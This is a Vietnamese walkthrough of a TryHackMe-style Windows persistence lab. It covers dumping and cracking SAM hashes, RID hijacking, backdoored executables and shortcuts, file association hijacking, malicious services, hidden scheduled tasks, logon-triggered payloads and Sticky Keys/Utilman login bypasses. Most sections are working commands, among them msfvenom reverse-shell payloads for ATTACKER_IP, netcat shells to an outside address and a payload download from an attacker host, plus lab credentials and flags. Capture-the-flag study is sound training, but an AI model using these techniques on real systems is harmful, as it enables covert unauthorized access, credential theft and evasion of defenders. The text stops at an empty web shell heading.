Introduction

Persistence (sự duy trì) là việc tạo ra các cách để có được quyền truy cập vào host mà không cần thực hiện lại toàn bộ quá trình exploit.

Có một vài lý do mà ta cần phải thiết lập persistence càng sớm càng tốt:

  • Việc khai thác lại có thể không khả thi. Ví dụ: một vài loại khai thác có thể kill mất tiến trình bị dính lỗ hổng.
  • Khó có lại được quyền truy cập. Ví dụ: nếu chúng ta sử dụng phising để có quyền truy cập thì việc thực hiện lại nó khá khó khăn.
  • Blue team vá lỗi: một khi lỗ hổng mà ta dùng để khai thác bị phát hiện thì blue team có thể vá nó làm cho việc khai thác lại là bất khả thi.

Mặc dù chúng ta có thể giữ lại các credential của admin để dùng về sau nhưng không thể loại trừ khả năng các thông tin đăng nhập đó bị thay đổi.

Một số yêu cầu tiên quyết của room này:

Note

Các hành động thực hiện trong room này giả định là ta đã leo lên quyền admin trước đó.

Tampering With Unprivileged Accounts

Truy cập bằng tài khoản admin là cách dễ nhất để tạo ra persistence nhưng nó lại dễ bị phát hiện bởi blue team. Thay vào đó, chúng ta có thể sử dụng các tài khoản có quyền thấp hơn mà không bị giám sát để tạo persistence rồi leo lên tài khoản có quyền cao sau.

Credentials

Username: Administrator Password: Password321

Privilege Escalation Attempts

Harvesting Passwords

Lý thuyết: Windows Privilege Escalation - Harvesting Passwords From Usual Spots.

Không có quyền truy cập file C:\Windows\System32\config.

Xem file C:\inetpub\wwwroot\web.config thì có được username và password của SQL Server:

PS C:\> type web.config
<?xml version="1.0" encoding="UTF-8"?>
<!--
  For more information on how to configure your ASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=169433
  -->
<configuration>
  <system.web>
    <compilation debug="true" targetFramework="4.0" />
  </system.web>
    <connectionStrings>
        <add connectionString="Data Source=.\SQLEXPRESS;User ID=employeeapp;Password=MyPassword123" name="EmployeeDB" />
    </connectionStrings>
</configuration>

Mở SSMS lên rồi mà không cần tài khoản, trong database HRDB có bảng Employees có một dòng như sau:

Đăng nhập vào tài khoản trên thì cũng không có gì khác biệt.

Trong C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config không có đề cập gì đến password nhưng lại có connection string:

PS C:\> Get-Content -Path "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config" | Select-String -Pattern connectionString
 
<add expressionPrefix="ConnectionStrings" type="System.Web.Compilation.ConnectionStringsExpressionBuilder" />
<add connectionStringName="LocalSqlServer" maxEventDetailsLength="1073741823"
	<add connectionStringName="LocalSqlServer"

Scheduled Task and Services

Lý thuyết:

Danh sách các task đang chạy:

 Get-ScheduledTask | Where-Object { $_.State -eq 'Running' }
 
TaskPath                                       TaskName                          State
--------                                       --------                          -----
\Microsoft\Windows\License Manager\            TempSignedLicenseExchange         Running
\Microsoft\Windows\WDI\                        ResolutionHost                    Running
\Microsoft\Windows\Wininet\                    CacheTask                         Running
\THM\                                          putty                             Running

Có thể thấy là hệ thống đã giấu các đường dẫn của các task. Các dịch vụ cũng bị vấn đề tương tự.

Dangerous Privileges

Lý thuyết: Windows Privilege Escalation - Abusing Dangerous Privileges.

Kiểm tra danh sách các quyền:

whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
...
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
...

Thấy có quyền SeBackupPrivilege/SeRestorePrivilege (cho phép đọc/ghi tất cả các file trong hệ thống và bỏ qua DACL1) nên ta kiểm tra các share của hệ thống. Trong Computer Management có 3 share là ADMIN$, IPC$, C$. Cũng có thể enumerate thông qua smbclient:

smbclient -L //10.10.5.194/ADMIN$ -U Administrator%Password321
 
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

Tiến hành lưu file system.hivesam.hive:

PS C:\> reg save hklm\system C:\Windows\system.hive
The operation completed successfully.
PS C:\> reg save hklm\sam C:\Windows\sam.hive
The operation completed successfully.

Info

SAM hay Security Accounts Manager là một file cơ sở dữ liệu của hệ điều hành Windows chứa username và password.

Kết nối đến share ADMIN$ từ attacking machine (Linux):

smbclient //10.10.5.194/ADMIN$ -U Administrator%Password321

Tải về file system.hive và file sam.hive

smb> get system.hive
smb> get sam.hive

Dùng impacket-secretsdump (trên Kali) để tìm các password bị hash:

impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
thmuser1:1008:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser2:1009:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser3:1010:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser0:1011:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser4:1013:aad3b435b51404eeaad3b435b51404ee:8767940d669d0eb618c15c11952472e5:::
[*] Cleaning up...

Tip

Trên Arch thì cần cài tool impacket như sau:

python3 -m pipx install impacket

Sử dụng như sau:

secretsdump.py -sam sam.hive -system system.hive local

Crack bằng hashcat:

hashcat -m 1000 password.hash /usr/share/wordlists/rockyou.txt --show
 
f3118544a831e728781d780cfdb9c1fa:Password321
31d6cfe0d16ae931b73c59d7e0c089c0:

Có thể thấy trong file danh sách các password bị hash thì password của thmuser# (với # từ 0 đến 3) giống với password của Administrator (là Password321). Ngoài ra, GuestDefaultAccount có password giống nhau là một chuỗi rỗng. Như vậy, hai password chưa biết là của user WDAGUtilityAccountthmuser4.

Attention

Làm đến đây thì mới nhận ra là ta cần tạo ra persistence (một tài khoản hay session nào đó để vào lại sau) chứ không phải là leo thang (đã ở tài khoản admin sẵn). Mặc dù vậy, việc crack password là hữu ích vì mô tả của task có đoạn như sau:

For this part of the task, we will assume you have dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.

Assign Group Memberships

Cách đơn giản nhất để làm cho một tài khoản có các đặc quyền là thêm tài khoản đó vào administrators group. Chúng ta có thể làm điều này như sau:

net localgroup administrators thmuser0 /add

Câu lệnh trên sẽ giúp thmuser0 có quyền sử dụng RDP, WinRM (giống SSH) hoặc các dịch vụ quản trị từ xa.

Tuy nhiên, việc làm này khá đáng ngờ. Thay vào đó, ta có thể thêm user vào “Backup Operators” group:

net localgroup "Backup Operators" thmuser1 /add

Người dùng trong group này không có các đặc quyền quản trị nhưng được phép đọc/ghi bất kỳ tập tin hoặc registry nào trên hệ thống (có quyền SeBackupPrivilege và quyền SeRestorePrivilege). Điều này cho phép ta có thể thực hiện việc crack password như trên khi leo thang đặc quyền về sau.

Do group này không có các quyền quản trị nên ta không thể thực hiện được việc RDP hoặc WinRM trừ khi ta gán user vào các group tương ứng:

net localgroup "Remote Management Users" thmuser1 /add

Đăng nhập vào user thmuser1 thông qua WinRM để kiểm tra quyền quản lý từ xa:

evil-winrm -i 10.10.56.62 -u thmuser1 -p Password321

Kết quả là ta đã đăng nhập được. Tuy nhiên, mặc dù đã được thêm vào nhóm quyền "Backup Operators" nhưng ta không thể export được SAM:

*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\sam sam.bak
reg.exe : ERROR: Access is denied.
    + CategoryInfo          : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

Xem nhóm quyền thì thấy nhóm quyền “BUILTIN\Backup Operators” đã bị từ chối:

*Evil-WinRM* PS C:\Users\thmuser1\Documents> whoami /groups
 
GROUP INFORMATION
-----------------
 
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
 

Lý do là vì tính năng LocalAccountTokenFilterPolicy của UAC2 đã loại bỏ các đặc quyền quản trị của các tài khoản local khi đăng nhập từ xa. Để có thể bypass được tính năng này, ta dùng lệnh sau:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Info

Trong lúc tìm cách bật WinRM ở host (ban đầu tưởng chưa bật) thông qua câu lệnh winrm quickconfig thì nó cũng vô tình bật LocalAccountTokenFilterPolicy

Sau khi bật LocalAccountTokenFilterPolicy thì đã có thể export file SAM và file SYSTEM:

*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\system system.bak
The operation completed successfully.
 
*Evil-WinRM* PS C:\Users\thmuser1> reg save hklm\sam sam.bak
The operation completed successfully.

Có thể không cần crack password mà dùng chế độ Pass-the-Hash của Evil-WinRM để đăng nhập như sau:

evil-winrm -i 10.10.58.122 -u thmuser1 -H f3118544a831e728781d780cfdb9c1fa

Thực thi C:\flags\flag1.exe để có flag.

Success

THM{FLAG_BACKED_UP!}

Special Privileges and Security Descriptors

Thay vì thêm user vào các nhóm quyền, chúng ta có thể gán cho các user đó trực tiếp quyền của nhóm quyền thông qua câu lệnh secedit. Trước tiên, ta cần export cấu hình hiện tại ra một file tạm:

secedit /export /cfg config.inf

Chúng ta mở file và thêm tên người dùng vào quyền mà ta cần gán:

Sau đó, chúng ta chuyển file .inf thành file .sdb để nạp cấu hình vào hệ thống:

secedit /import /cfg config.inf /db config.sdb
 
secedit /configure /db config.sdb /cfg config.inf

Mặc dù user đã có các đặc quyền của nhóm quyền “Backup Operators” nhưng ta vẫn chưa thể truy cập từ xa bằng tài khoản của user. Thay vì thêm user vào nhóm quyền “Remote Management Users”, chúng ta có thể chỉnh security descriptor (có thể xem như là một ACL - Access Control List) của dịch vụ WinRM để user thmuser2 có thể kết nối từ xa.

Mở cửa sổ cấu hình của WinRM thông qua câu lệnh sau (chúng ta cần sử dụng giao diện để cấu hình):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Thêm vào thmuser2 và gán full quyền của WinRM:

Đã có thể truy cập thông qua WinRM:

evil-winrm -i 10.10.58.122 -u thmuser2 -p Password321
 
Evil-WinRM shell v3.5
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\thmuser2\Documents>

Kiểm tra quyền:

*Evil-WinRM* PS C:\Users\thmuser2\Documents> whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Note

Lưu ý là ta cũng cần phải bật

User thmuser2 có thể backup file SAM:

*Evil-WinRM* PS C:\Users\thmuser2\Documents> reg save hklm\sam sam.bak
The operation completed successfully.

Khi kiểm tra nhóm quyền của user thmuser2 thì kết quả cho thấy nó trông giống như một user bình thường:

*Evil-WinRM* PS C:\Users\thmuser2\Documents> net user thmuser2
User name                    thmuser2
...
Local Group Memberships      *Users
Global Group memberships     *None

Đăng nhập vào thmuser2 thông qua tính năng Pass-the-Hash:

evil-winrm -i 10.10.58.122 -u thmuser1 -H f3118544a831e728781d780cfdb9c1fa

Thực thi file C:\flags\flag2.txt để có flag.

Success

THM{IM_JUST_A_NORMAL_USER}

RID Hijacking

Một cách khác để có các đặc quyền quản trị là thay đổi các giá trị registry để hệ điều hành nghĩ chúng ta là admin.

Khi một người dùng được tạo ra thì sẽ có một ID có tên là relative ID (RID) được gán cho người dùng. Khi người dùng đăng nhập vào tài khoản thì tiến trình LSASS (Local Security Authority Subsystem Service) sẽ lấy RID của người dùng từ SAM registry để tạo ra access token tương ứng với RID đó3. Nếu chúng ta có thể giá trị registry thì có thể làm cho Windows gán administrator access token cho một người dùng không có đặc quyền.

Trong các hệ thống Windows, tài khoản administrator mặc định được gán RID = 500 và các người dùng thông thường có RID lớn hơn hoặc bằng 100. Để tìm các RID được gán cho các người dùng, ta có thể dùng lệnh sau:

C:\> wmic useraccount get name,sid
 
Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010

RID là phần cuối cùng của SID (1010 cho thmuser3 và 500 cho Aministrator). Việc cần làm là gán RID của thmuser3 thành 500. Để làm điều này thì ta cần truy cập vào SAM thông qua Regedit. SAM bị giới hạn cho các tài khoản SYSTEM nên kể cả administrator cũng không thể truy cập được.

Để chạy Regedit dưới danh nghĩa của SYSTEM, ta cần dùng tool psexec:

C:\tools\pstools> PsExec64.exe -i -s regedit

Ở trong Regedit, ta vào đường dẫn HKLM\SAM\SAM\Domains\Account\Users\. Mỗi user sẽ có một key, và ta cần tìm key tương ứng với user thmuser3. Mỗi key có một giá trị gọi là F. Trong F sẽ chứa RID của user dưới dạng little endian. Do RID của thmuser3 là 1010 = 0x03F2 nên ta cần tìm giá trị F2 03.

Khi tìm được thì ta chỉ việc thay thế giá trị đó thành 500 = 0x01F4 (F4 01 ở dạng little endian):

Đăng nhập vào thông qua RDP có thể hoạt động dưới danh nghĩa của administrator.

Chạy file C:\flags\flag3.exe và có được flag.

Success

THM{TRUST_ME_IM_AN_ADMIN}

Backdooring Files

Một cách khác để tạo persistence là thay đổi những file mà người dùng sử dụng thường xuyên. Cụ thể, chúng ta có thể thiết lập sao cho khi người dùng truy cập vào file thì sẽ có một backdoor được cấy vào máy và thực thi.

Executable Files

Các shortcut ở trong desktop có thể là các chương trình mà người dùng sử dụng nhiều. Giả sử ta tìm được shortcut đến PuTTY và executable file của nó ở C:\Program Files\PuTTY\putty.exe. Chúng ta có thể tải file này về rồi chỉnh sửa để nó thực thi bất kỳ payload nào mà ta muốn.

Để cấy payload vào một executable file bất kỳ, ta có thể dùng msfvenom. Công cụ này sẽ thêm một luồng vào binary file để chạy payload. Ví dụ, để tạo một backdoor cho file putty.exe, ta có thể dùng lệnh như sau:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

File puttyX.exe được tạo ra sẽ thiết lập reverse shell bất cứ khi nào sử dụng nó.

Shortcut Files

Nếu chúng ta không muốn thay đổi file thực thi thì có thể thay đổi shortcut. Cụ thể, chúng ta sẽ thiết lập shortcut thực thi script để tạo backdoor rồi mới chạy file thực thi gốc.

Ví dụ, xét chương trình calc có đường dẫn đến file thực thi như sau:

Tạo script để thiết lập reverse shell ở trong C:\Windows\System32:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.11.79.35 9999"

Chú ý rằng việc thay đổi đường dẫn file thực thi có thể làm thay đổi icon nên ta cần phải thay icon về lại như cũ. Đồng thời, để chương trình được thực thi dưới nền thì ta có thể thêm option -WindowStyle hidden.

Đường dẫn sau khi sửa sẽ có dạng như sau:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Chạy netcat listener rồi chạy shortcut để nhận reverse shell. Sau đó chạy file C:\flags\flag5.exe thì có được cờ.

Success

THM{NO_SHORTCUTS_IN_LIFE}

Hijacking File Associations

Chúng ta có thể thiết lập chương trình mở file cho tất cả các loại file là shell để tạo reverse shell.

Hệ điều hành lưu chương trình tương ứng với từng loại file ở trong registry HKLM\Software\Classes\. Giả sử ta muốn kiểm tra xem chương trình nào được dùng để mở file .txt, ta có thể chọn subkey là .txt rồi xem giá trị của ProgID:

ProgID chỉ đơn giản là ID của chương trình đã được cài đặt trên hệ thống.

Sau đó, chúng ta tìm kiếm ở trong HKLM\Software\Classes\txtfile\shell\open\command để tìm câu lệnh dùng để mở file.

Trong hình trên, bất cứ khi nào ta mở file .txt thì chương trình sẽ gọi lệnh %SystemRoot%\system32\NOTEPAD.EXE %1 với %1 là tên của file cần mở. Chúng ta có thể thay thế chương trình thực thi thành câu lệnh thực thi script sau:

powershell -WindowStyle hidden C:\Windows\System32\backdoor2.ps1

Script backdoor2.ps1 có dạng như sau:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.11.79.35 9999"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Với $args[0] chính là tên file truyền vào.

Fail

Cách này có một điểm yếu: khi mở file text thì Windows vẫn hiển thị hộp thoại để người dùng chọn chương trình mở file. Lúc này người dùng có thể chọn Notepad thay vì PowerShell.

Sau khi có reverse shell thì chạy file C:\flags\flag6.exe để có cờ.

Success

THM{TXT_FILES_WOULD_NEVER_HURT_YOU}

Abusing Services

Chúng ta có thể lạm dụng các dịch vụ chạy ngầm (service) để mở kết nối từ xa bất cứ khi nào người dùng mở máy. Có hai cách để tạo persistence từ các service: tạo một service mới hoặc chỉnh sửa service có sẵn.

Creating Backdoor Services

Chúng ta có thể tạo ra một service có tên là “THMservice” bằng các câu lệnh sau:

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

Note

Bắt buộc phải có khoảng trắng sau mỗi dấu bằng.

Service trên sẽ set password của tài khoản Administrator thành Passwd123 bất cứ khi nào nó được chạy. Và do có option start= auto nên nó sẽ tự chạy mà không cần sự tương tác từ người dùng.

Ngoài việc thay password thì ta cũng có thể tạo reverse shell. Chạy msfvenom để tạo ra file thực thi của service:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9999 -f exe-service -o rev-svc.exe

Tải file rev-svc.exe vào C:\Windows của máy mục tiêu

PS C:\Users\Administrator> Invoke-WebRequest "http://ATTACKER_IP:8080/rev-svc.exe" -OutFile C:\Windows\rev-svc.exe

Sau đó tạo một service sử dụng file thực thi trên:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

Sau khi có reverse shell thì chạy file C:\flags\flag7.exe để thu được cờ.

Success

THM{SUSPICIOUS_SERVICES}

Modifying Existing Services

Blue team có thể phát hiện ra hành vi tạo service nên ta có thể sử dụng lại các service sẵn có, đặc biệt là các service bị disable bởi vì chúng ta có thể thay đổi chúng mà không bị ai để ý.

Truy vấn các service không hoạt động:

sc.exe query state=inactive

Nếu tìm được service nào đã dừng hoạt động thì ta có thể tra cứu thông tin chi tiết về service đó:

sc.exe qc THMService3
 
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2 AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\THMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMService3
        DEPENDENCIES       : 
        SERVICE_START_NAME : NT AUTHORITY\Local Service

Có ba thứ ta cần quan tâm:

  • File thực thi của service (BINARY_PATH_NAME).
  • Loại khởi chạy của service (START_TYPE) nên là tự động để không cần tương tác người dùng.
  • Tài khoản chạy service (SERVICE_START_NAME) nên có giá trị là LocalSystem để có thể thực hiện những đặc quyền thuộc SYSTEM.

Trước tiên ta cần tạo ra reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9999 -f exe-service -o rev-svc2.exe

Tải reverse shell về máy mục tiêu.

Khởi chạy netcat server:

nc -vnlp 9999

Chỉnh sửa các giá trị của service:

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

Service trở thành:

PS C:\Users\Administrator> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMservice3
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Khởi chạy service:

sc.exe start THMservice3

Nhận được reverse thì chạy file C:\flags\flag8.exe để lấy cờ.

Success

THM{IN_PLAIN_SIGHT}

Abusing Scheduled Tasks

Chúng ta cũng có thể lạm dụng các tác vụ được lập lịch để chạy persistence.

Task Scheduler

Cách cơ bản nhất là tạo task thông qua Windows task scheduler. Liệt kê các task bằng câu lệnh sau:

schtasks

Tạo ra một task có tên là THM-TaskBackdoor để chạy reverse shell:

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 9999" /ru SYSTEM

Option /ru chỉ định task sẽ chạy với các đặc quyền hệ thống.

Task trên sẽ chạy mỗi 1 phút. Tuy nhiên, trong thực tế thì ta không nên để task chạy quá thường xuyên nếu không muốn bị phát hiện.

Truy vấn thông tin task:

schtasks /query /tn thm-taskbackdoor
 
Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
thm-taskbackdoor                         3/28/2024 9:03:00 AM   Ready

Chạy file C:\flags\flag9.exe và ta có được flag.

Success

THM{JUST_A_MATTER_OF_TIME}

Making Our Task Invisible

Nếu có một người dùng nào đó truy vấn danh sách các task thì task của chúng ta có thể bị phát hiện. Khi đó, ta cần giấu task đi bằng cách xóa Security Descriptor (SD). Việc xóa SD của task đồng nghĩa với việc ta không cho phép tất cả các user truy vấn thông tin về nó.

SD của tất các các task nằm trong registry KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. Mở registry với quyền SYSTEM:

C:\tools\pstools\PsExec64.exe -s -i regedit

Truy cập vào task rồi xóa SD:

Thử truy vấn lại thì thấy task không tồn tại:

PS C:\Users\Administrator> schtasks /query /tn thm-taskbackdoor
ERROR: The system cannot find the file specified.

Logon Triggered Persistence

Chúng ta có thể cấy payload vào hệ thống để thực thi khi người dùng đăng nhập.

Startup Folder

Mỗi người luôn có một thư mục C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup dùng để chứa các file thực thi sẽ được chạy bất cứ khi nào người dùng đăng nhập. Attacker chỉ việc đặt file thực thi vào thư mục này. Hơn thế nữa, nếu ta muốn toàn bộ các user đều thực thi file thực thi thì có thể đặt nó vào thư mục C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

Trước tiên, tạo ra reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

Chạy một netcat server.

Tải reverse shell về máy của nạn nhân rồi sao chép nó đến thư mục C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp:

copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

Logout ra khỏi hệ thống để đăng nhập lại. Chờ một chút sẽ nhận được một reverse shell. Chạy file C:\flags\flag.exe để nhận được flag.

Success

THM{NO_NO_AFTER_YOU}

Run / RunOnce

Chúng ta cũng có thể ép người dùng thực thi một chương trình thông qua registry. Thay vì đặt payload vào một thư mục cụ thể, ta có thể dùng các registry sau để chỉ định ứng dụng cần chạy khi người dùng đăng nhập:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Registry thuộc HKCU chỉ áp dụng cho người dùng hiện tại, còn HKLM thì sẽ áp dụng cho tất cả các người dùng. Các chương trình đặt trong Run sẽ được chạy mỗi khi user đăng nhập còn ở trong RunOnce thì sẽ chỉ chạy một lần duy nhất.

Ta cũng tạo một reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9999 -f exe -o revshell.exe

Sau khi tải về ở máy nạn nhân, ta di chuyển reverse shell qua thư mục C:\Windows:

move revshell.exe C:\Windows

Tạo một REG_EXPAND_SZ registry (có kiểu là Expandable String Value) có tên là MyBackdoor ở trong key HKLM\Software\Microsoft\Windows\CurrentVersion\Run.

Chạy netcat server, đăng xuất rồi đăng nhập lại ở máy nạn nhân rồi ta sẽ nhận được một reverse shell.

Chạy file C:\flags\flag11.exe thì sẽ có được cờ.

Success

THM{LET_ME_HOLD_THE_DOOR_FOR_YOU}

Winlogon

Là một chương trình nạp lên profile của người dùng sau khi đăng nhập. Chúng ta có thể lợi dụng chương trình này để tạo ra persistence.

Registry của Winlogon ở key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ và có hai entry thú vị:

  • UserInit trỏ đến userinit.exe để khôi phục lại profile.
  • shell trỏ đến shell của hệ thống, thường là explorer.exe.

Chúng ta có thể chỉnh sửa một trong hai file thực thi trên để tạo reverse shell. Thậm chí, chúng ta cũng không cần thay thế mà chỉ cần thêm câu lệnh thực thi payload phía sau câu lệnh gốc (ngăn cách bởi dấu phẩy).

Chạy netcat server, đăng xuất và đăng nhập lại thì ta sẽ có được reverse shell.

Chạy file C:\flags\flag12.exe để có cờ.

Success

THM{I_INSIST_GO_FIRST}

Logon Scripts

File thực thi userinit.exe sẽ thực hiện kiểm tra biến môi trường UserInitMprLogonScript khi nạp profile. Ta có thể dùng biến môi trường này để tạo reverse shell. Lưu ý, biến này không được set mặc định nên ta cần tạo ra và gán bất kỳ script nào ta muốn.

Truy cập vào registry ở key HKCU\Environment và tạo entry UserInitMprLogonScript để trỏ đến reverse shell như sau:

Note

Lưu ý là registry trên thuộc HKCU nên nó chỉ áp dụng cho người dùng hiện tại.

Chạy netcat server, đăng xuất và đăng nhập lại thì ta sẽ có được reverse shell.

Chạy file C:\flags\flag13.exe để có cờ.

Success

Backdooring the Login Screen/RDP

Nếu có thể truy cập vật lý vào máy (hoặc có RDP) thì ta có thể tạo backdoor tại màn hình đăng nhập để truy cập terminal mà không cần đăng nhập.

Sticky Keys

Khi sử dụng Sticky Keys, chúng ta không thể sử dụng tổ hợp phím mà chỉ có thể nhấn từng phím một.

Để tạo persistence thông qua Sticky Keys, chúng ta sẽ sử dụng một shortcut được enable mặc định trên Windows cho phép kích hoạt Sticky Keys bằng cách nhấn nút SHIFT 5 lần:

Về bản chất, khi nhấn phím SHIFT 5 lần, Windows sẽ thực thi file C:\Windows\System32\sethc.exe. Chúng ta có thể thay thế executable file này bằng cmd.exe để mở terminal.

Trước khi ghi đè sethc.exe, chúng ta cần lấy quyền sở hữu của file và cấp quyền cho user hiện tại quyền chỉnh sửa.

PS C:\Users\Administrator> takeown /f C:\Windows\System32\sethc.exe
 
SUCCESS: The file (or folder): "C:\Windows\System32\sethc.exe" now owned by user "WPERSISTENCE\Administrator".
 
PS C:\Users\Administrator> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
 
PS C:\Users\Administrator> copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Lock session hiện tại rồi nhấn SHIFT 5 lần để mở terminal. Chạy file C:\flags\flag14.exe để có được cờ

Success

THM{BREAKING_THROUGH_LOGIN}

Utilman

Là một công cụ dùng để cung cấp những tùy chọn truy cập dễ dàng (Ease of Access) ở màn hình đăng nhập:

Về bản chất, khi ta nhấn nút của Utilman thì Windows sẽ chạy file C:\Windows\System32\Utilman.exe với đặc quyền SYSTEM. Nếu có thể thay thế file thực thi này bằng cmd.exe thì ta sẽ bypass được việc đăng nhập.

Làm tương tự như khi thay thế sethc.exe:

PS C:\Users\Administrator> takeown /f C:\Windows\System32\utilman.exe
 
SUCCESS: The file (or folder): "C:\Windows\System32\utilman.exe" now owned by user "WPERSISTENCE\Administrator".
PS C:\Users\Administrator> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
 
Successfully processed 1 files; Failed processing 0 files
PS C:\Users\Administrator> copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Lock session, nhấn nút Ease of Access rồi chạy file C:\flags\flag15.exe để thu được cờ.

Success

THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}

Persisting Through Existing Services

Nếu ta không muốn sử dụng các chức năng của Windows để giấu backdoor thì có thể dùng các dịch vụ khác sẵn có trên máy.

Using Web Shells

